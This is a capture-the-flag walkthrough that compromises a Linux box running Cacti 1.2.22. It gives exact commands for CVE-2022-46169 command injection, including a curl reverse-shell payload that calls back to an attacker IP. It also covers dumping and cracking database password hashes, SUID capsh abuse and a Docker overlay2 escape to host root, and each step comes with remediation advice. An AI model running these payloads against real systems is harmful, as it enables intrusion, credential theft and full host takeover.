← all walkthroughs

MonitorsTwo

Linux· Easy
owned
2026-07-07
time to own
8m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I confirmed Cacti 1.2.22 running on port 80 behind nginx and matched it immediately to CVE-2022-46169, an unauthenticated remote code execution flaw in remote_agent.php that bypasses an IP-whitelist by spoofing the X-Forwarded-For header. Exploitation landed a reverse shell as www-data inside a Docker container. Plaintext MySQL credentials hardcoded in the Cacti configuration file were used to dump the user table from the database; the bcrypt hash for 'marcus' was cracked offline and his password was reused verbatim for SSH access to the host, yielding the user flag.

Back inside the container, a SUID-misconfigured copy of capsh was abused to escalate to root within the container, then the SUID bit was planted on /bin/bash in the container filesystem. The CVE-2021-41091 Docker overlay-mount vulnerability then let marcus — a low-privilege user on the host — locate the container's writable overlay directory and execute the SUID bash binary directly from the host path, achieving root on the underlying machine.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService and version fingerprinting (T1595.002)
Fingerprinted Cacti 1.2.22 on the web server
A port scan confirmed nginx on port 80 and OpenSSH 8.2p1 on port 22. An HTTP request to the root path returned Cacti's login page and numerous JavaScript variable references to 'Cacti'. Fetching /CHANGELOG confirmed the last-modified date of August 2022 and pinned the version at 1.2.22 — the precise version range vulnerable to CVE-2022-46169.
Curl to / returned 'Cacti' and 'Version 1.2.22' in page body; /CHANGELOG returned HTTP 200 with last-modified 2022-08-14; nmap confirmed nginx 1.18.0 and OpenSSH 8.2p1.
Exact commands 3
Confirm open ports and banner versions.
nmap -Pn -sV --open -p 22,80 $TARGET
Identify the web application and confirm Cacti is running at the document root.
curl -s -i --max-time 15 http://$TARGET/
Confirm exact Cacti version from the embedded changelog.
curl -s --max-time 15 http://$TARGET/CHANGELOG | head -30
FixPatch Cacti to a version that fixes CVE-2022-46169 and restrict remote_agent.php network accessCritical
WeaknessCacti 1.2.22 allowed any unauthenticated Internet-facing request to reach remote_agent.php and inject OS commands by spoofing the X-Forwarded-For header to a trusted IP address. No credentials or valid session were required to achieve remote code execution.
FixUpgrade Cacti to 1.2.23 or later, which validates the actual TCP source address of the poller rather than trusting a client-supplied header. Additionally, restrict network access to remote_agent.php at the nginx or firewall layer so only the internal poller can reach it. If Cacti does not need to be Internet-facing, place it behind a VPN or restrict it to the management VLAN.
2ExploitationUnauthenticated OS command injection via HTTP header spoofing (CVE-2022-46169 / CWE-78)
Exploited CVE-2022-46169 to execute commands as www-data inside the container
Cacti 1.2.22 trusts the X-Forwarded-For header when deciding whether a caller is a permitted poller host. By spoofing that header to 127.0.0.1 and injecting a shell metacharacter into the poller_id query parameter, any unauthenticated remote caller can execute arbitrary OS commands as the web server process (www-data). The public PoC (EDB-51166) required a single patch — removal of a deprecated httpx 'proxies' keyword argument — before it would run. The patched script delivered a bash reverse shell to a listener on the operator machine.
Exact commands 4
Start a reverse-shell listener on the operator machine at $ATTACKER_IP.
tmux new-session -d -s rsh 'nc -lvnp 4444'
Patch the PoC to remove the deprecated httpx 'proxies' kwarg so it runs on modern httpx versions.
perl -0777 -pi -e 's/,proxies=proxy//g' /tmp/51166.py
Run the patched PoC; triggers command injection via remote_agent.php and delivers a reverse bash shell.
python3 /tmp/51166.py -u http://$TARGET -i $ATTACKER_IP -p 4444
Manual fallback if the PoC produces no output — inject the reverse shell directly into the poller_id parameter.
curl -s -i -H 'X-Forwarded-For: 127.0.0.1' 'http://$TARGET/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1;bash+-c+"bash+-i+>%26+/dev/tcp/$ATTACKER_IP/4444+0>%261"'
3Post-ExploitationContainer context discovery; plaintext credential extraction from config files (T1552.001)
Confirmed Docker container context and extracted database credentials from the Cacti config
Upon landing the shell, environment checks revealed the session was inside a Docker container: /.dockerenv existed, the hostname was a short hex string, and the network interface showed a typical container bridge address. The Cacti configuration file at /var/www/html/include/config.php contained the MySQL hostname, username ('root'), and password in plaintext — standard Cacti installation practice but a critical stepping stone when credentials are reused.
/.dockerenv present; /var/www/html/include/config.php contained $database_username and $database_password in cleartext.
Exact commands 2
Confirm the shell is inside a Docker container.
cat /.dockerenv && hostname && ip addr show
Extract the hardcoded MySQL credentials from Cacti's configuration file.
grep -E 'database_(host|username|password|default)' /var/www/html/include/config.php
4Credential HarvestingDatabase credential extraction; offline bcrypt password cracking (T1110.002)
Dumped the Cacti user table from MySQL and cracked marcus's password hash
Using the extracted database credentials I connected to the MySQL instance reachable from inside the container and dumped the user_auth table from the 'cacti' database. The table contained bcrypt-hashed passwords for every Cacti user, including 'marcus'. The hash was copied to the operator machine and cracked offline with hashcat and the rockyou wordlist, recovering marcus's plaintext password.
MySQL user_auth table queried as root; marcus's bcrypt ($2y$) hash recovered and cracked with hashcat mode 3200.
Exact commands 3
Dump Cacti user hashes from inside the container using the credentials from config.php.
mysql -u root -p$PASSWORD2 cacti -e 'SELECT username,password FROM user_auth;'
Save the recovered hash to a file on the operator machine for offline cracking.
echo '<marcus_hash>' > /tmp/marcus.hash
Crack the bcrypt hash (hashcat mode 3200) for user marcus.
hashcat -m 3200 /tmp/marcus.hash /usr/share/wordlists/rockyou.txt --force
FixNever reuse application database credentials as OS account passwordsHigh
WeaknessThe password stored for user 'marcus' in the Cacti MySQL database was identical to his Ubuntu SSH account password. Anyone who obtained a container foothold and queried the database could immediately pivot to a full, persistent SSH session on the host — bypassing all container-isolation controls.
FixEnforce a policy that application-level and system-level credentials are always unique and generated independently. Store application secrets in a dedicated secrets manager rather than plaintext config files where possible. Disable password-based SSH login (PasswordAuthentication no in /etc/ssh/sshd_config) and require public-key authentication to eliminate credential-stuffing attacks over SSH entirely.
5Lateral MovementCredential reuse over SSH — valid account (T1078 / T1021.004)
SSH'd into the host as marcus using the cracked password and captured the user flag
The cracked Cacti password was tested against SSH on the host. Marcus had a local Ubuntu account and his SSH password was identical to the one stored in the Cacti database. The credential reuse gave me a persistent, full interactive shell on the host — entirely outside and independent of the Docker container.
SSH authenticated as marcus to $TARGET using the cracked password; /home/marcus/user.txt readable.
Exact commands 2
Authenticate with the password recovered by hashcat.
ssh marcus@$TARGET
Read the user flag: <user.txt>
cat /home/marcus/user.txt
6Privilege Escalation — ContainerSUID binary abuse — capsh privilege escalation (T1548.001)
Abused a SUID-misconfigured capsh binary to become root inside the Docker container
With the foothold in the container still active, a search for SUID binaries revealed /sbin/capsh — a Linux capability-management utility — configured with the setuid-root bit. Invoking capsh with flags that re-exec a shell while setting UID and GID to zero produced an immediate root prompt inside the container. As root, I set the SUID bit on /bin/bash within the container filesystem, staging the subsequent host-level escape.
Find / -perm -4000 returned /sbin/capsh; capsh --gid=0 --uid=0 -- produced uid=0(root) inside the container.
Exact commands 3
Enumerate all SUID binaries present inside the container.
find / -perm -4000 -type f 2>/dev/null
Exploit the SUID capsh binary to obtain a root shell inside the container.
/sbin/capsh --gid=0 --uid=0 --
Set the SUID bit on /bin/bash inside the container to enable exploitation from the host via CVE-2021-41091.
chmod u+s /bin/bash
FixRemove the SUID bit from capsh and audit all container images for unnecessary SUID binariesHigh
WeaknessThe Docker container image shipped with /sbin/capsh set as SUID root. Anyone who gained any execution inside the container — regardless of privilege — could instantly escalate to root within the container, from which they could modify the container filesystem freely.
FixAudit all container images for SUID binaries (find / -perm -4000 -type f) and remove the setuid bit from every binary that does not functionally require it (chmod u-s /sbin/capsh). Build images from minimal base images to reduce the attack surface. Add no-new-privileges:true to container security options and run containers as a non-root user via the USER Dockerfile directive.
7Privilege Escalation — HostDocker overlay2 SUID escape via CVE-2021-41091 — container breakout (T1611)
Escaped the container to root on the host via CVE-2021-41091 (Moby overlay filesystem)
Docker's overlay2 storage driver keeps each container's merged filesystem accessible on the host under /var/lib/docker/overlay2/<id>/merged/. In unpatched Moby versions affected by CVE-2021-41091, permission changes made inside the container (including SUID bits) are immediately visible and executable from the host by any user who can traverse to that path. As marcus on the host, I located the container's merged directory, found the SUID bash planted in step 6, and executed it from the host path with -p to preserve the effective UID — yielding a root shell on the host machine. The root flag was then read from /root/root.txt.
SUID bash found under /var/lib/docker/overlay2/*/merged/bin/bash; executing with -p produced euid=0(root) on the host.
Exact commands 3
From marcus's SSH session on the host — locate the SUID bash planted inside the container's overlay filesystem.
find /var/lib/docker/overlay2 -name bash -perm -4000 2>/dev/null
Execute the SUID bash from the host path; -p preserves effective UID (root). Replace <container-merged-id> with the directory found above.
/var/lib/docker/overlay2/<container-merged-id>/merged/bin/bash -p
Confirm root and read the flag: <root.txt>
id && cat /root/root.txt
FixUpgrade Docker Engine to patch CVE-2021-41091 and lock down overlay filesystem permissionsCritical
WeaknessThe installed version of Docker (Moby) exposed each container's overlay2 merged filesystem directory to the host with permissions that allowed a low-privileged host user to traverse and execute files whose permission bits had been set from inside the container. A SUID bit planted on a file inside the container was immediately exploitable as root from the host by any user with access to /var/lib/docker.
FixUpgrade Docker Engine to 20.10.9 or later, which includes the CVE-2021-41091 patch tightening permissions on overlay2 merged directories. Additionally, set /var/lib/docker to root-only access (chmod 700 /var/lib/docker). Consider enabling user-namespace remapping (userns-remap in /etc/docker/daemon.json) so that UID 0 inside a container maps to an unprivileged UID on the host, preventing container-root from having real host-root file capabilities.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp